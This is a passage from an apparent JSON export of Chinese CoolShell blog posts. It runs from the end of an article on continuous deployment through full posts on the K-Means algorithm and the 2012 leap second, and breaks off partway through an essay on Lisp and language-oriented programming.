**部署计划**。我们可能会有很多部署计划，比如：设定定时部署，提升或降低部署优先级，部署事务定义，部署策略（如：先部署10%的机器，如果没有问题，再把剩下的系统部署了），热切计划和策略…… 等等 ，等等 。\n\n\n* **部署的监控和维护**。任何软件和系统都会有这样的问题，当规模上去了以后，我们的自动化部署系统的监控和维护的复杂度并不亚于一个大型的互联网应用。\n\n\n这样的问题会有很多，基本上来说，**这样一个持续集成持续部署的自动化系统并不是那么简单的事，其开发工作量和一个标准的大型互联网业务系统没什么两样**。\n#### 六、总结\n\n\n这里只谈一点自己的看法，从传统的持续集成到面向大型软件的持续部署，我们将系统所依赖的软件环境和软件包抽象为一致的实体纳入到管理之中，并将运维人员的工作真正的分摊到开发人员身上。而云计算的出现，使得计算机本身也可以自动化的创建和回收，这样环境管理的范畴将进一步扩充。相应的，部署的能力和灵活性也是一次质的飞跃，将再一次减轻运维人员的工作压力。\n\n\n说了这么多废话，总结一下自己的观点，对于向大型软件企业推销基于持续集成的持续部署（交付）的哥们：\n\n\n* **你就是在耍流氓**，如果你不解决环境管理！！！\n* **你就是在耍流氓**，如果你不建立部署系统！！！\n* **你就是在耍流氓**，如果你不扩展编译系统！！！\n* **你就是在耍流氓**，如果你只是推销小团队的实践而不考虑改造大环境！！！\n* **你就是个流氓**，如果你只是不断地告诉别人怎么做，自己却从来不动手写一个测试或建立一个持续集成环境！！！\n\n\n最后，用Linus最经典的话来结束本文——“ Talk is Cheap, Show me the Code！”\n\n\n（**注：本文由[@常新居士](http://weibo.com/renfake)完成初稿，我做了一些编辑，主要写了第五节“没完”** ）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![“单元测试要做多细？”](../wp-content/uploads/2012/09/fight-150x150.jpg)](https://coolshell.cn/articles/8209.html)[“单元测试要做多细？”](https://coolshell.cn/articles/8209.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/5531.html)[Test-Driven Development？别逗了](https://coolshell.cn/articles/5531.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/19.jpg](https://coolshell.cn/articles/5625.html)[“品质在于构建过程”吗？](https://coolshell.cn/articles/5625.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/10.jpg](https://coolshell.cn/articles/5143.html)[在新浪微博上关于敏捷的一些讨论](https://coolshell.cn/articles/5143.html)\n* [![为什么Scrum不行？](../wp-content/uploads/2011/07/hat-150x150.jpeg)](https://coolshell.cn/articles/5044.html)[为什么Scrum不行？](https://coolshell.cn/articles/5044.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/17.jpg](https://coolshell.cn/articles/4891.html)[Bob大叔和Jim Coplien对TDD的论战](https://coolshell.cn/articles/4891.html)\nThe post [持续部署，并不简单！](https://coolshell.cn/articles/7657.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-6-29 K-Means 算法.md",
    "content": "---\nlayout: post\ntitle: K-Means 算法\ndate: 2012/6/29/ 0:24:2\nupdated: 2012/6/29/ 0:24:2\nstatus: publish\npublished: true\ntype: post\n---\n\n最近在学习一些数据挖掘的算法，看到了这个算法，也许这个算法对你来说很简单，但对我来说，我是一个初学者，我在网上翻看了很多资料，发现中文社区没有把这个问题讲得很全面很清楚的文章，所以，把我的学习笔记记录下来，分享给大家。\n\n\n在数据挖掘中， ***k*-Means 算法**是一种 [cluster analysis](http://en.wikipedia.org/wiki/Cluster_analysis \"Cluster analysis\") 的算法，其主要是来计算数据聚集的算法，主要通过不断地取离种子点最近均值的算法。\n\n\n#### 问题\n\n\nK-Means算法主要解决的问题如下图所示。我们可以看到，在图的左边有一些点，我们用肉眼可以看出来有四个点群，但是我们怎么通过计算机程序找出这几个点群来呢？于是就出现了我们的K-Means算法（[Wikipedia链接](http://en.wikipedia.org/wiki/K-means_clustering \"K-means Clustering 算法\")）\n\n\n![](../wp-content/uploads/2012/06/K-Means.gif \"K-Means 要解决的问题\")K-Means 要解决的问题\n#### 算法概要\n\n\n这个算法其实很简单，如下图所示：\n\n\n\n![K-Means 算法概要](../wp-content/uploads/2012/06/K-Means.jpg \"K-Means 算法概要\")K-Means 算法概要\n从上图中，我们可以看到，**A, B, C, D, E 是五个在图中点。而灰色的点是我们的种子点，也就是我们用来找点群的点**。有两个种子点，所以K=2。\n\n\n然后，K-Means的算法如下：\n\n\n1. 随机在图中取K（这里K=2）个种子点。\n2. 然后对图中的所有点求到这K个种子点的距离，假如点Pi离种子点Si最近，那么Pi属于Si点群。（上图中，我们可以看到A,B属于上面的种子点，C,D,E属于下面中部的种子点）\n3. 接下来，我们要移动种子点到属于他的“点群”的中心。（见图上的第三步）\n4. 然后重复第2）和第3）步，直到，种子点没有移动（我们可以看到图中的第四步上面的种子点聚合了A,B,C，下面的种子点聚合了D，E）。\n\n\n这个算法很简单，但是有些细节我要提一下，求距离的公式我不说了，大家有初中毕业水平的人都应该知道怎么算的。我重点想说一下“求点群中心的算法”\n\n\n#### 求点群中心的算法\n\n\n一般来说，求点群中心点的算法你可以很简的使用各个点的X/Y坐标的平均值。不过，我这里想告诉大家另三个求中心点的的公式：\n\n\n**1）Minkowski Distance 公式 ——** λ 可以随意取值，可以是负数，也可以是正数，或是无穷大。\n\n\n![](../wp-content/uploads/2012/06/MinkowskiDistance_clip_image102.gif \"Minkowski Distance 公式\")\n\n\n**2）Euclidean Distance 公式** —— 也就是第一个公式 λ=2 的情况\n\n\n![](../wp-content/uploads/2012/06/EuclideanDistance_clip_image002.gif \"Euclidean Distance 公式\")\n\n\n**3）CityBlock Distance 公式** —— 也就是第一个公式 λ=1 的情况\n\n\n![](../wp-content/uploads/2012/06/CityBlockDistance_clip_image002.gif \"CityBlock Distance 公式\")\n\n\n这三个公式的求中心点有一些不一样的地方，我们看下图（对于第一个 λ 在 0-1之间）。\n\n\n![](../wp-content/uploads/2012/06/Minkowski-Mean.jpg \"Minkowski Mean\")   ![](../wp-content/uploads/2012/06/Euclidean-distance.jpg \"Euclidean distance\")  ![](../wp-content/uploads/2012/06/Manhattan-distance.jpg \"Manhattan distance\")\n\n\n**（1）Minkowski Distance     （2）**Euclidean Distance    （3） **CityBlock Distance******\n\n\n上面这几个图的大意是他们是怎么个逼近中心的，第一个图以星形的方式，第二个图以同心圆的方式，第三个图以菱形的方式。\n\n\n#### K-Means的演示\n\n\n如果你以”[K Means Demo](https://www.google.com/search?hl=zh-CN&q=K+Means+Demo)“为关键字到Google里查你可以查到很多演示。这里推荐一个演示\n\n\n<http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/AppletKM.html>\n\n\n操作是，鼠标左键是初始化点，右键初始化“种子点”，然后勾选“Show History”可以看到一步一步的迭代。\n\n\n注：这个演示的链接也有一个不错的 [K Means Tutorial](http://home.dei.polimi.it/matteucc/Clustering/tutorial_html/index.html) 。\n\n\n#### K-Means ++ 算法\n\n\nK-Means主要有两个最重大的缺陷——都和初始值有关：\n\n\n* K 是事先给定的，这个 K 值的选定是非常难以估计的。很多时候，事先并不知道给定的数据集应该分成多少个类别才最合适。（ [ISODATA 算法](http://en.wikipedia.org/wiki/Multispectral_pattern_recognition)通过类的自动合并和分裂，得到较为合理的类型数目 K）\n\n\n* K-Means算法需要用初始随机种子点来搞，这个随机种子点太重要，不同的随机种子点会有得到完全不同的结果。（[K-Means++算法](http://en.wikipedia.org/wiki/K-means%2B%2B)可以用来解决这个问题，其可以有效地选择初始点）\n\n\n我在这里重点说一下 K-Means++算法步骤：\n\n\n1. 先从我们的数据库随机挑个随机点当“种子点”。\n2. 对于每个点，我们都计算其和最近的一个“种子点”的距离D(x)并保存在一个数组里，然后把这些距离加起来得到Sum(D(x))。\n3. 然后，再取一个随机值，用权重的方式来取计算下一个“种子点”。这个算法的实现是，先取一个能落在Sum(D(x))中的随机值Random，然后用Random -= D(x)，直到其<=0，此时的点就是下一个“种子点”。\n4. 重复第（2）和第（3）步直到所有的K个种子点都被选出来。\n5. 进行K-Means算法。\n\n\n相关的代码你可以在这里找到“[implement the K-means++ algorithm](http://rosettacode.org/wiki/K-means%2B%2B_clustering)”(墙) 另，[Apache 的通用数据学库也实现了这一算法](http://commons.apache.org/math/api-2.1/index.html?org/apache/commons/math/stat/clustering/KMeansPlusPlusClusterer.html)\n\n\n#### K-Means 算法应用\n\n\n看到这里，你会说，K-Means算法看来很简单，而且好像就是在玩坐标点，没什么真实用处。而且，这个算法缺陷很多，还不如人工呢。是的，前面的例子只是玩二维坐标点，的确没什么意思。但是你想一下下面的几个问题：\n\n\n1）如果不是二维的，是多维的，如5维的，那么，就只能用计算机来计算了。\n\n\n2）二维坐标点的X, Y 坐标，其实是一种向量，是一种数学抽象。现实世界中很多属性是可以抽象成向量的，比如，我们的年龄，我们的喜好，我们的商品，等等，能抽象成向量的目的就是可以让计算机知道某两个属性间的距离。如：我们认为，18岁的人离24岁的人的距离要比离12岁的距离要近，鞋子这个商品离衣服这个商品的距离要比电脑要近，等等。\n\n\n**只要能把现实世界的物体的属性抽象成向量，就可以用K-Means算法来归类了**。\n\n\n在 《[k均值聚类(K-means)](http://www.cnblogs.com/leoo2sk/archive/2010/09/20/k-means.html)》 这篇文章中举了一个很不错的应用例子，作者用亚洲15支足球队的2005年到1010年的战绩做了一个向量表，然后用K-Means把球队归类，得出了下面的结果，呵呵。\n\n\n* 亚洲一流：日本，韩国，伊朗，沙特\n* 亚洲二流：乌兹别克斯坦，巴林，朝鲜\n* 亚洲三流：中国，伊拉克，卡塔尔，阿联酋，泰国，越南，阿曼，印尼\n\n\n其实，这样的业务例子还有很多，比如，分析一个公司的客户分类，这样可以对不同的客户使用不同的商业策略，或是电子商务中分析商品相似度，归类商品，从而可以使用一些不同的销售策略，等等。\n\n\n最后给一个挺好的算法的幻灯片：<http://www.cs.cmu.edu/~guestrin/Class/10701-S07/Slides/clustering.pdf>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![K Nearest Neighbor 算法](../wp-content/uploads/2012/08/220px-KnnClassification.svg_-150x150.png)](https://coolshell.cn/articles/8052.html)[K Nearest Neighbor 算法](https://coolshell.cn/articles/8052.html)\n* [![Cuckoo Filter：设计与实现](../wp-content/uploads/2015/08/cuckoo-150x150.jpg)](https://coolshell.cn/articles/17225.html)[Cuckoo Filter：设计与实现](https://coolshell.cn/articles/17225.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/29.jpg](https://coolshell.cn/articles/12052.html)[Leetcode 编程训练](https://coolshell.cn/articles/12052.html)\n* [![谜题的答案和活动的心得体会](../wp-content/uploads/2014/08/puzzle-150x150.png)](https://coolshell.cn/articles/11847.html)[谜题的答案和活动的心得体会](https://coolshell.cn/articles/11847.html)\n* [![【活动】解迷题送礼物](../wp-content/uploads/2014/08/538efefbgw1eiz9cvx78fj20rm0fmdi8-150x150.jpg)](https://coolshell.cn/articles/11832.html)[【活动】解迷题送礼物](https://coolshell.cn/articles/11832.html)\n* [![二维码的生成细节和原理](../wp-content/uploads/2013/10/QR-Code-Overview-150x150.jpeg)](https://coolshell.cn/articles/10590.html)[二维码的生成细节和原理](https://coolshell.cn/articles/10590.html)\nThe post [K-Means 算法](https://coolshell.cn/articles/7779.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-6-30 关于闰秒.md",
    "content": "---\nlayout: post\ntitle: 关于闰秒\ndate: 2012/6/30/ 9:16:34\nupdated: 2012/6/30/ 9:16:34\nstatus: publish\npublished: true\ntype: post\n---\n\n2012年6月30日，也就今天晚上，时间会多出现一秒，也就是我们所说的闰秒。我不知道大家对闰秒的了解有多少，所以写下这篇文章。\n\n\n#### 背景知识\n\n\n闰秒是在在[UTC](http://en.wikipedia.org/wiki/Coordinated_Universal_Time)（中文“世界标准时间”或“世界协调时间**”**／英文“**C**oordinated **U**niversal **T**ime”／法文“**T**emps **U**niversel **C**ordonné”）是基于[Atomic Clock](http://en.wikipedia.org/wiki/Atomic_clock)（原子时钟）的一种时间，向太阳时（[Solar Time](http://en.wikipedia.org/wiki/Mean_solar_day \"Mean solar day\") ）对齐的一种方法，因为太阳时是根据地球公转来计算的。所以，1972年制定的UTC为了确保其时间相对于UTC的时间误差不能超过0.9秒，因此在过一段时间后需要加一秒。下图是有UTC以来闰秒的调整表（来自[Wikipedia闰秒的中文词条](http://zh.wikipedia.org/wiki/%E9%97%B0%E7%A7%92)）\n\n\n![](../wp-content/uploads/2012/06/闰秒.png \"闰秒\")\n\n\n\n从上表中我们可以看到，从1972年到现在，在这四十年里已经进行过25次的闰秒调整。闰秒是在每年6月或12月的最后一天的最后一分钟进行跳秒或不跳秒。是否加入闰秒由位于巴黎的国际地球自转和参考坐标系统服务（IERS – [International Earth Rotation and Reference Systems Service](http://en.wikipedia.org/wiki/International_Earth_Rotation_and_Reference_Systems_Service \"International Earth Rotation and Reference Systems Service\")）决定。如果决定加入闰秒，那么这一秒是被加在第二天的00:00:00前的，也就是说，时间会出现23:59:60的情况，然后才是第二天的00:00:00。如果是负闰秒的话，23:59:58的下一秒就直接跳到第二天的00:00:00了。**现在，所有闰秒都是正闰秒**。\n\n\n#### 计算机处理闰秒\n\n\n那么，对于我们的电脑系统来说，怎么处理这个闰秒呢？一般来说，我们需要为我们的电脑系统配置UTC时钟，并通过NTP ([Network time protocol](http://en.wikipedia.org/wiki/Network_time_protocol \"Network time protocol\"))来进行时间同步，NTP服务器会一级一级地下发闰秒事件通知直到最边缘的NTP服务器，然后NTP服务器就会把闰秒通知发给客户端的操作系统，由操作系统来处理闰秒通知。\n\n\n虽然闰秒调整对普通民众的日常生活不会产生影响。不过，**这个问题将影响部分开启ntp服务的Linux操作系统——会导致Linux内核Crash！**Linux kernel是在2.6.18-164.e15之后的版本中解决了这个问题。换句话说，Linux kernel低于**2.6.18-164**的Linux系统，无论是什么公司的Linux都将受到影响。（今晚过后大家可以查看一下你的Linux系统日志，看看闰秒有没有发生）\n\n\n可以参看下面的bug描述：\n\n\n* [LKML: Chris Adams: Re: Bug: Status/Summary of slashdot leap-second crash on new years 2008-2009](https://lkml.org/lkml/2009/1/2/373)\n* [Bug 479765 – Leap second message can hang the kernel](https://bugzilla.redhat.com/show_bug.cgi?id=479765)\n\n\n那么，我们的操作系统是怎么处理正闰秒通知的？通常来说有三种实现：\n\n\n1. 后退一秒。\n2. 停止一秒。\n3. 真正的增加一秒。\n\n\n懂编程的人一眼就能看出来，前两种方式是以一种Workaround或Hack的方式解决这个问题。第一种方式会导致一些基于timestamp的消息通知乱序了，而第二种会导致出现两个一模一样的timestamp。最后一种不会出现timestamp的问题。对了，你还记得以前那篇《[你确信你了解时间吗？](https://coolshell.cn/articles/5075.html)》的文章吗？\n\n\n最后，说说Windows，Windows  Time Service不支持闰秒通知，所以，当闰秒发生的时候，你的Windows上的时间会比实际时间快一秒钟，这需要等下一次的时钟同步才会完成修正。你可以查看这篇文章：<http://support.microsoft.com/kb/909614/en-us>\n\n\n（全文完）\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![eBPF 介绍](../wp-content/uploads/2022/12/eBPF-150x150.jpeg)](https://coolshell.cn/articles/22320.html)[eBPF 介绍](https://coolshell.cn/articles/22320.html)\n* [![打造高效的工作环境 – Shell 篇](../wp-content/uploads/2019/03/linux.ninja_-150x150.png)](https://coolshell.cn/articles/19219.html)[打造高效的工作环境 – Shell 篇](https://coolshell.cn/articles/19219.html)\n* [![记一次Kubernetes/Docker网络排障](../wp-content/uploads/2018/12/docker-networking-1-150x150.png)](https://coolshell.cn/articles/18654.html)[记一次Kubernetes/Docker网络排障](https://coolshell.cn/articles/18654.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\n* [![Linux PID 1 和 Systemd](../wp-content/uploads/2017/07/systemd-1-150x150.jpeg)](https://coolshell.cn/articles/17998.html)[Linux PID 1 和 Systemd](https://coolshell.cn/articles/17998.html)\n* [![缓存更新的套路](../wp-content/uploads/2016/07/cache-150x150.png)](https://coolshell.cn/articles/17416.html)[缓存更新的套路](https://coolshell.cn/articles/17416.html)\nThe post [关于闰秒](https://coolshell.cn/articles/7804.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2012-6-4 Lisp的永恒之道.md",
    "content": "---\nlayout: post\ntitle: Lisp的永恒之道\ndate: 2012/6/4/ 0:58:46\nupdated: 2012/6/4/ 0:58:46\nstatus: publish\npublished: true\ntype: post\n---\n\n【感谢 Todd投递本文 – 微博帐号：[weidagang](http://weibo.com/weidagang \"weidagang\") 】\n\n\n#### Lisp之魅\n\n\n长久以来，Lisp一直被许多人视为史上最非凡的编程语言。它不仅在50多年前诞生的时候带来了诸多革命性的创新并极大地影响了后来编程语言的发展，即使在一大批现代语言不断涌现的今天，Lisp的诸多特性仍然未被超越。当各式各样的编程语言摆在面前，我们可以从运行效率、学习曲线、社区活跃度、厂商支持等多种不同的角度进行评判和选择，但我特别看中的一点在于语言能否有效地表达编程者的设计思想。学习C意味着学习如何用过程来表达设计思想，学习Java意味着学习如何用对象来表达设计思想，而虽然Lisp与函数式编程有很大的关系，但学习Lisp绝不仅仅是学习如何用函数表达设计思想。实际上，**函数式编程并非Lisp的本质**，在已经掌握了lambda、高阶函数、闭包、惰性求值等函数式编程概念之后，学习Lisp仍然大大加深了我对编程的理解。**学习Lisp所收获的是如何“自由地”表达你的思想**，这正是Lisp最大的魅力所在，也是这门古老的语言仍然具有很强的生命力的根本原因。\n\n\n#### Lisp之源\n\n\nLisp意为表处理(List Processing)，源自设计者John McCarthy于1960年发表的一篇论文《符号表达式的递归函数及其机器计算》。McCarthy在这篇论文中向我们展示了用一种简单的数据结构S表达式(S-expression)来表示代码和数据，并在此基础上构建一种完整的语言。Lisp语言形式简单、内涵深刻，Paul Graham在《Lisp之根源》中将其对编程的贡献与欧几里德对几何的贡献相提并论。\n\n\n#### Lisp之形\n\n\n然而，与数学世界中简单易懂的欧氏几何形成鲜明对比，程序世界中的Lisp却一直是一种古老而又神秘的存在，真正理解其精妙的人还是少数。从表面上看，Lisp最明显的特征是它“古怪”的S表达式语法。S表达式是一个原子(atom)，或者若干S表达式组成的列表(list)，表达式之间用空格分开，放入一对括号中。“列表“这个术语可能会容易让人联想到数据结构中的链表之类的线形结构，实际上，Lisp的列表是一种可嵌套的树形结构。下面是一些S表达式的例子:\n\n\n\n```\n\nfoo\n\n()\n\n(a b (c d) e)\n\n(+ (* 2 3) 5)\n\n(defun factorial (N)\n    (if (= N 1)\n        1\n        (* N (factorial (- N 1)))\n    )\n)\n\n```\n\n\n据说，这个古怪的S表达式是McCarthy在发明Lisp时候所采用的一种临时语法，他实际上是准备为Lisp加上一种被称为M表达式(M-expression)的语法，然后再把M表达式编译为S表达式。用一个通俗的类比，S表达式相当于是JVM的字节码，而M表达式相当于Java语言，但是后来Lisp的使用者都熟悉并喜欢上了直接用S表达式编写程序，并且他们发现S表达式有许多独特的优点，所以M表达式的引入也就被无限期延迟了。\n\n\n许多Lisp的入门文章都比较强调Lisp的函数式特性，而我认为这是一种误导。真正的Lisp之门不在函数式编程，而在S表达式本身，Lisp最大的奥秘就藏在S表达式后面。S表达式是Lisp的语法基础，语法是语义的载体，形式是实质的寄托。**“S表达式”是程序的一种形，正如“七言”是诗的一种形，“微博”是信息的一种形**。正是形的不同，让微博与博客有了质的差异，同样的道理，正是S表达式让Lisp与C、Java、SQL等语言有了天壤之别。\n\n\n#### Lisp之道\n\n\n一门语言能否有效地表达编程者的设计思想取决于其抽象机制的语义表达能力。根据抽象机制的不同，语言的抽象机制形成了面向过程、面向对象、函数式、并发式等不同的范式。当你采用某一种语言，基本上就表示你已经“面向XXX“了，你的思维方式和解决问题的手段就会依赖于语言所提供的抽象方式。比如，采用Java语言通常意味着采用面向对象分析设计；采用Erlang通常意味着按Actor模型对并发任务进行建模。\n\n\n有经验的程序员都知道，无论是面向XXX编程，程序设计都有一条“抽象原则“：What与How解耦。但是，**普通语言的问题就在于表达What的手段非常有限**，无非是过程、类、接口、函数等几种方式，而诸多领域问题是无法直接抽象为函数或接口的。比如，你完全可以在C语言中定义若干函数来做到make file所做的事情，但C代码很难像make file那样声明式地体现出target、depends等语义，它们只会作为实现细节被淹没在一个个的C函数之中。采用OOP或是FP等其它范式也会遇到同样的困难，也就是说make file语言所代表的抽象维度与面向过程、OOP以及FP的抽象维度是正交的，使得各种范式无法直接表达出make file的语义。这就是普通语言的“刚性”特征，它要求我们必须以语言的抽象维度去分析和解决问题，把问题映射到语言的基本语法和语义。\n\n\n更进一步，如果仔细探究这种刚性的根源，我们会发现正是由于普通语言**语法和语义的紧耦合**造成了这种刚性。比如，C语言中printf(“hello %s”, name)符合函数调用语法，它表达了函数调用语义，除此之外别无他义；Java中interface IRunnable { … }符合接口定义语法，它表达了接口定义语义，除此之外别无他义。如果你认为“语法和语义紧耦合“是理所当然的，看不出这有什么问题，那么理解Lisp就会让你对此产生更深的认识。\n\n\n当你看到Lisp的(f a (b c))的时候，你会想到什么？会不会马上联想到函数求值或是宏扩展？就像在C语言里看到gcd(10, 15)马上想到函数调用，或者在Java里看到class A马上想到类定义一样。如果真是这样，那它就是你理解Lisp的一道障碍，因为你已经习惯了顺着语言去思考，总是在想这一句话机器怎么解释执行？那一句话又对应语言的哪个特性？理解Lisp要反过来，让语言顺着你，Lisp的(f a (b c))可以是任何语义，完全由你来定，它可以是函数定义、类定义、数据库查询、文件依赖关系，异步任务的执行关系，业务规则 …\n\n\n下面我准备先通过几个具体的例子逐步展示Lisp的本质。需要说明的是，由于Lisp的S表达式和XML的语法形式都是一种树形结构，在语义表达方面二者并无本质的差别。所以，为了理解方便，下面我暂且用多数人更为熟悉的XML来写代码，请记住我们可以很轻易地把XML代码和Lisp代码相互转换。\n\n\n首先，我们可以轻易地用XML来定义一个求两个数最大公约数的函数：\n\n\n\n```\n\n    <func name='gcd' return_type='int'>\n        <params>\n            <a type='int'/>\n            <b type='int'/>\n        </params>\n        <body>\n            <if>\n               <equals>\n                   <a/>\n                   <int>0</int>\n               </equals>\n            </if>\n            <then>\n                <return><b/></return>\n            </then>\n            <else>\n                <return>\n                    <gcd>\n                        <modulo><b/><a/></modulo>\n                        <a/>\n                    </gcd>\n                </return>\n            </else>\n        </body>\n    </func>\n\n```\n\n其次，我们可以用它来定义类：\n\n\n\n```\n\n    <class name=\"Computer\">\n        <field access=\"private\" type=\"MainBoard\" name=\"main-board\" />\n        <field access=\"private\" type=\"CPU\" name=\"cpu\" />\n        <field access=\"private\" type=\"Memory\" name=\"memory\" />\n\n        <method access=\"public\" return_type=\"boolean\" name=\"powerOn\" />\n            <params>...</params>\n            <body>...</body>\n        </method>\n\n        <method access=\"public\" return_type=\"boolean\" name=\"powerOff\" />\n            <params>...</params>\n            <body>...</body>\n        </method>\n    </class>\n\n```\n\n还可以轻易地用它来编写关系查询：\n\n\n\n```\n\n<sql>\n    <select>\n        <column name=\"employees.id\" />\n        <column name=\"bonus.amount\" />\n    </select>\n    <from>\n        <table name=\"employees\" />\n        <table name=\"bonus\" />\n    </from>\n    <where>\n        <equals>\n            <column name=\"employees.id\" />\n            <column name=\"bonus.employee_id\" />\n        </equals>\n    </where>\n</sql>\n\n```\n\n还可以用它来实现类似make file的自动化构建(语法取自ant)：\n\n\n\n```\n\n    <project name=\"MyProject\" default=\"dist\" basedir=\".\">\n        <property name=\"src\" location=\"src\"/>\n        <property name=\"build\" location=\"build\"/>\n        <property name=\"dist\"  location=\"dist\"/>\n\n        <target name=\"init\">\n            <mkdir dir=\"${build}\"/>\n        </target>\n\n        <target name=\"compile\" depends=\"init\" description=\"compile the source \" >\n            <javac srcdir=\"${src}\" destdir=\"${build}\"/>\n        </target>\n\n        <target name=\"dist\" depends=\"compile\" description=\"generate the distribution\" >\n            <mkdir dir=\"${dist}/lib\"/>\n            <jar jarfile=\"${dist}/lib/MyProject-${DSTAMP}.jar\" basedir=\"${build}\"/>\n        </target>\n\n        <target name=\"clean\" description=\"clean up\" >\n            <delete dir=\"${build}\"/>\n            <delete dir=\"${dist}\"/>\n        </target>\n    </project>\n\n```\n\n一口气举了这么多个例子，目的在于用XML这种树形结构来说明Lisp的S表达式所能够描述的语义。不知道你是否发现了S表达式和XML这种树形语法在语义构造方面有着特别的“柔性”？我们可以轻易地用它构造出函数、变量、条件判断语义；类、属性、方法语义；可以轻易地构造出关系模型的select、where语义；可以轻易地构造出make的target、depends语义，等等数不清的语义。在普通语言里，你可以定义一个函数、一个类，但你无法为C语言增加匿名函数特性，也没法给Java语言加上RAII语义，甚至连自己创造一个foreach循环都不行，而自定义语义意味着在Lisp之上**你创造了一门语言**！不管是面向过程，面向对象，函数式，还是关系模型，在Lisp里统统都变成了一种DSL，而Lisp本身也就成了一种定义语言的语言，即元语言(Meta Language)。\n\n\nLisp的柔性与S表达式有着密切的关系。Lisp并不限制你用S表达式来表达什么语义，同样的S表达式语法可以表达各种不同领域的语义，这就是**语法和语义解耦**。如果说普通语言的刚性源于“语法和语义紧耦合”，那么Lisp的柔性正是源于“语法和语义解耦”！“语法和语义解耦”使得Lisp可以随意地构造各种领域的DSL，而不强制用某一种范式或是领域视角去分析和解决问题。本质上，Lisp编程是一种超越了普通编程范式的范式，这就是**Lisp之道：面向语言编程(LOP, Language Oriented Programming)**。Wikipedia上是这样描述LOP的：\n\n\n\n> Language oriented programming (LOP) is a style of computer programming in which, rather than solving problems in general-purpose programming languages, the programmer creates one or more domain-specific languages for the problem first, and solves the problem in those languages … The concept of Language Oriented Programming takes the approach to capture requirements in the user’s terms, and then to try to create an implementation language as isomorphic as possible to the user’s descriptions, so that the mapping between requirements and implementation is as direct as possible.\n> \n> \n\n\nLOP范式的基本思想是从问题出发，先创建一门描述领域模型的DSL，再用DSL去解决问题，它具有高度的声明性和抽象性。SQL、make file、CSS等DSL都可以被认为是LOP的具体实例，下面我们再通过两个常见的例子来理解LOP的优势。\n\n\n例1：在股票交易系统中，交易协议定义若干二进制的消息格式，交易所和客户端需要对消息进行编码和解码。\n\n\n消息格式是一种抽象的规范，本身不对语言做任何的限制，你可以用C，C++，Java，或者Python。普通的实现方式是按照消息格式规范，在相应的语言中定义消息结构，并编写相应的编解码函数。假设为一个消息定义结构和实现编解码函数的工作量为M，不同消息类型的数量为N，这种方式的工作量大致为M\\*N。也就是说每增加一种消息类型，就需要为该消息定义结构，实现编解码函数，引入bug的可能性当然也和M\\*N成正比。如果仔细观察不难发现，各个消息结构其实是高度类似的，编解码函数也大同小异，但是普通语言却找不到一种抽象机制能表达这种共性，比如，我们无法通过面向对象的方法定义一个基类把消息结构的共性抽象出来，然后让具体的消息去继承它，达到复用的目的。这正是由于普通语言的抽象维度限制所致，在普通语言中，你只能从函数、接口等维度对事物进行抽象，而恰好消息格式共性所在的维度与这些抽象维度并不匹配。\n\n\n其实，不同消息类型的**共性在于它们都具有相同的领域语义**，比如：“某字段内容是另一个字段内容的md5码”就是一种消息格式的领域语义，这种领域语义是OOP的抽象机制无法描述的。LOP的思路是先创建一门消息定义DSL，比如，类似Google的Protocol Buffer，Android的AIDL。然后，通过DSL编写消息定义文件，直接声明式地描述消息的结构特征，比如，我们可以声明式地描述“某字段内容是另一个字段内容的md5码”。我们还需要为DSL开发编译器用于生成C、Java等通用语言的消息定义和编解码函数。\n\n\n有了消息定义DSL和编译器之后，由于DSL编写消息定义是一种高度声明式的编程方法，每增加一种消息的只需要多编写一个消息定义文件而已，工作量几乎可以忽略不计。所有的工作量都集中在编译器的开发上，工作量是一个常数C，与消息的数量没有关系；质量保证方面也只需要关注编译器这一点，不会因为增加新的消息类型而引入bug。\n\n\n例2：在图书管理系统中，需要支持在管理界面上对书籍、学生、班级等各种实体进行管理操作。\n\n\n如果按传统的三层架构，一般需要在后端程序中为每一种实体定义一个类，并定义相应的方法实现CRUD操作，与之相应的，还需要在前端页面中为每一个实体编写相应的管理页面。这些实体类的CRUD操作都是大同小异的，但细节又各不相同，虽然我们很想复用某些共同的设计实现，但OOP所提供的封装、继承、多态等抽象机制不足以有效捕获实体之间的共性，大量的代码还是必须放在子类中来完成。比如，Student和Book实体类的实现非常相似，但是如果要通过OOP的方式去抽象它们的共性，得出的结果多半是Entity这样的大而空的基类，很难起到复用的效果。\n\n\n其实，不同实体之间的共性还是在于它们具有相同的领域语义，比如：实体具有属性，属性具有类型，属性具有取值范围，属性具有可读取、可编辑等访问属性，实体之间有关联关系等。LOP方法正是直接面向这种领域语义的。采用LOP方法，我们并不需要为每一个实体类单独编写CRUD方法，也不需要单独编写管理页面，只需要定义一种DSL并实现其编译器；然后，用DSL声明式地编写实体描述文件，去描述实体的属性列表，属性的类型、取值范围，属性所支持的操作，属性之间的关系和约束条件等；最后，通过这个实体描述文件自动生成后端的实体类和前端管理页面。采用LOP，不论前后端采用何种技术，Java也好，C#也好，JSP也好，ASP.NET也好，都可以自动生成它们的代码。采用LOP的工作量和质量都集中在DSL的设计和编译器的开发，与实体的数量无关，也就是说，越是庞大的系统，实体类越多越是能体现LOP的优势。\n\n\n通过